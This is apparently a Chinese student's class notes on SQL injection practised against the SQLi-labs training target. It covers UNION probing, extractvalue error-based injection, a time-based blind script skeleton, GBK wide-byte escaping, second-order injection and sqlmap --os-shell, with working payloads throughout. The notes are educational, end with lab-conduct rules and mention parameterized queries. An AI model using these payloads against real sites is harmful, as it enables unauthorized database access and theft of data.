基础系列里的 SQL 基础和 sqlmap 写过流程,这篇记录课堂里讲得更细的部分:报错注入为什么能带出数据、盲注怎么脚本化、几个 URL 编码的坑。
0x01 判型与回显位:三步标准动作
?id=1 and 1=2--+ -- 条件不成立页面异常 → 有注入(数字型无引号即生效)
?id=1' and 1=2--+ -- 需要闭合单引号 → 字符型
?id=1 order by 3--+ -- 3 正常 4 报错 → 3 列
?id=-1 union select 1,2,3--+ -- 负数让原查询为空,回显位显出来
几个细节值得单独记:
--+不是--:--后面需要跟一个空格才生效,而 URL 里+会被服务端解码成空格——所以写--+刚好凑成”注释+空格”。直接写空格反而会被编码成%20带来歧义。这是 GET 注入特有细节,POST 注入体里直接写--(空格)就行;- 回显前先让原查询为空(
id=-1或and 1=2),否则联合查询的结果混在原结果里看不到; - 查库表列的套路:
information_schema.schemata→tables→columns,配合group_concat()一次带回全部结果(避免子查询返回多行报错)、limit控制位置。
0x02 报错注入:extractvalue 到底在报什么错
extractvalue(目标XML文档, XPath路径) 本职是查 XML,攻击用它纯属”螺丝刀开罐头”:
?id=1' and extractvalue(1, concat(0x7e, (select database())))--+
原理拆开看只有一句话:XPath 路径必须以 / 开头,不满足格式就在解析阶段报错,而报错信息会回显被解析的内容——concat(0x7e, 查询结果) 以 ~ 开头,不合法,数据库在报错消息里把这个”非法路径”(即我们的查询结果)吐了出来。课堂三个易错点:
0x7e是~的十六进制,用十六进制就不能加引号,否则变成字符串失去”非法路径”语义;- 括号必须严格配对——
concat(extractvalue(...))套了几层要数清楚,报错先查括号; - 第一个参数随便填(习惯写 1),它不参与攻击;
updatexml()同理,只是多一个”新值”参数;floor()报错是另一条机制(rand()+group by的主键冲突),函数不同、效果一样。
0x03 时间盲注:从手测到二分脚本
页面无回显时用 sleep() 做信道:IF(条件, sleep(3), 0)——条件真则响应慢 3 秒。手测一两个字符可以,批量取数据必须脚本化。课堂演示的脚本思路:
# 按位二分:对每个字符位置,构造 ascii(substr(db,i,1))>mid 的 IF-sleep 条件
# 根据响应时间 > 阈值 判断真假,log2(128)≈7 次请求确定一个字符
import requests, time
URL = "http://<靶机>/Less-9/?id=1' and IF(ascii(substr(database(),{pos},1))>{mid},sleep(2),0)--+"
课堂现场踩的两个脚本坑:requests 没装(pip install);靶机 IP 手滑写错导致全sleep失败。调试心法是先用已知值验证脚本逻辑(比如先盲注出库名 security 的首字符),别一上来跑全量。
0x04 宽字节注入与二次注入
宽字节(GBK 场景):后端用反斜杠转义单引号(%5c%27),在编码为 GBK 时用 %df 吃掉 %5c 组合成一个汉字,单引号逃逸:
输入: %df'
拼接: %df%5c%27 → GBK 解码为 "運'" → 引号成功闭合
前提是数据库连接编码为 GBK 系(set names gbk),UTF-8 无此问题。
二次注入:首次注入的恶意内容被 addslashes 转义存入数据库(存储的是转义前的原始逻辑),后续某处直接从库里取出拼接执行时触发——转义只发生在输入侧,存储侧不复原。典型案例:注册用户名 admin'-- -,改密功能从 session 取出用户名拼 SQL 时完成注入。防御思路是参数化查询贯穿全链路,以及出库数据同样不信任。
0x05 sqlmap 与权限现实
sqlmap -u "http://<靶机>/Less-1/?id=1" --dbs --batch
sqlmap -u "..." --os-shell # 需要 secure_file_priv 允许 + 知道 Web 绝对路径
--os-shell 的现实预期要放低:它依赖 into outfile 写文件,生产库往往 secure_file_priv=NULL 或权限降级——课堂实战案例里 SQL Server 的 sa 被降到 network service,能跑 dir/ipconfig 却传不了文件,上传的木马也继承低权限。注入拿到的是数据库的权限,不是服务器的——这句话是整个注入专题的题眼。
0x06 靶场纪律
老规矩再抄一遍:靶场练习发现真实漏洞不碰数据、不影响运营;高级绕过去读 SQLi-labs 源码学原理;真实场景封装进合法靶场练。